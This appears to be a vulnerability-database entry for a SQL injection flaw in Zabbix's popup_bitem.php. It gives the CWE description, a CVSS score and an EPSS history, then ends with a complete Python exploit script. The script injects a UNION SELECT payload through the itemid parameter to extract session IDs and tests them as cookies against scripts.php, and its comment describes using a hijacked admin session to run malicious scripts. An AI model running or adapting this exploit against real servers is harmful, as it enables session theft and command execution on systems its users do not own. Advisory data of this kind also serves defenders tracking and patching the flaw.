CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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SQL injection vulnerability in frontends/php/popup_bitem.php in Zabbix 1.8.15rc1 and earlier, and 2.x before 2.0.2rc1, allows remote attackers to execute arbitrary SQL commands via the itemid parameter.
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.39%
–
–
2022-04-03
–
–
4.39%
–
–
2022-08-28
–
–
4.39%
–
–
2023-03-12
–
–
–
0.26%
–
2023-06-18
–
–
–
0.26%
–
2023-07-09
–
–
–
0.25%
–
2023-09-10
–
–
–
0.25%
–
2024-02-11
–
–
–
0.25%
–
2024-03-10
–
–
–
0.25%
–
2024-06-02
–
–
–
0.21%
–
2024-06-02
–
–
–
0.21%
–
2024-07-14
–
–
–
0.21%
–
2024-07-28
–
–
–
0.21%
–
2024-08-11
–
–
–
0.21%
–
2024-09-08
–
–
–
0.17%
–
2024-09-22
–
–
–
0.17%
–
2024-10-13
–
–
–
0.17%
–
2024-12-22
–
–
–
0.33%
–
2025-01-19
–
–
–
0.33%
–
2025-03-18
–
–
–
–
2.76%
2025-03-18
–
–
–
–
2.76,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
#!/usr/bin/python
import re
import sys,urllib2,urllib
print "\n[*] Zabbix 2.0.1 Session Extractor 0day"
print "[*] http://www.offensive-security.com"
print "##################################\n"
'''
The sessions found by this tool may allow you to access the scripts.php file.
Through this web interface, an administrator can define new malicious scripts.
These scripts can then be called from the maps area, and executed with "zabbix" permissions.
Timeline:
17 Jul 2012: Vulnerabilty reported
17 Jul 2012: Reply received
18 Jul 2012: Issue opened: https://support.zabbix.com/browse/ZBX-5348
19 Jul 2012: Fixed for inclusion in version 2.0.2
'''
ip="172.16.164.150"
target = 'http://%s/zabbix/popup_bitem.php' % ip
url = 'http://%s/zabbix/scripts.php' % ip
def sendSql(num):
global target
payload="1)) union select 1,group_concat(sessionid) from sessions where userid='%s'#" % num
payload="1 union select 1,1,1,1,1,group_concat(sessionid),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from sessions where userid='%s'#" % num
values = {'dstfrm':'1','itemid':payload }
url = "%s?%s" % (target, urllib.urlencode(values))
req = urllib2.Request(url)
response = urllib2.urlopen(req)
data = response.read()
return data
def normal(cookie):
global url
req = urllib2.Request(url)
cook = "zbx_sessionid=%s" %cookie
req.add_header('Cookie', cook)
response = urllib2.urlopen(req)
data = response.read()
if re.search('ERROR: Session terminated, re-login, please',data) or re.search('You are not logged in',data) or re.search('ERROR: No Permissions',data):
return "FAIL"
else:
return "SUCCESS"
sessions=[]
for m in range(1,2):
print "[*] Searching sessions belonging to id %s" % m
hola=sendSql(m)
for l in re.findall(r"([a-fA-F\d]{32})", hola):
if l not in sessions:
sessions.append(l)
print "[*] Found sessionid %s - %s" % (l,normal(l))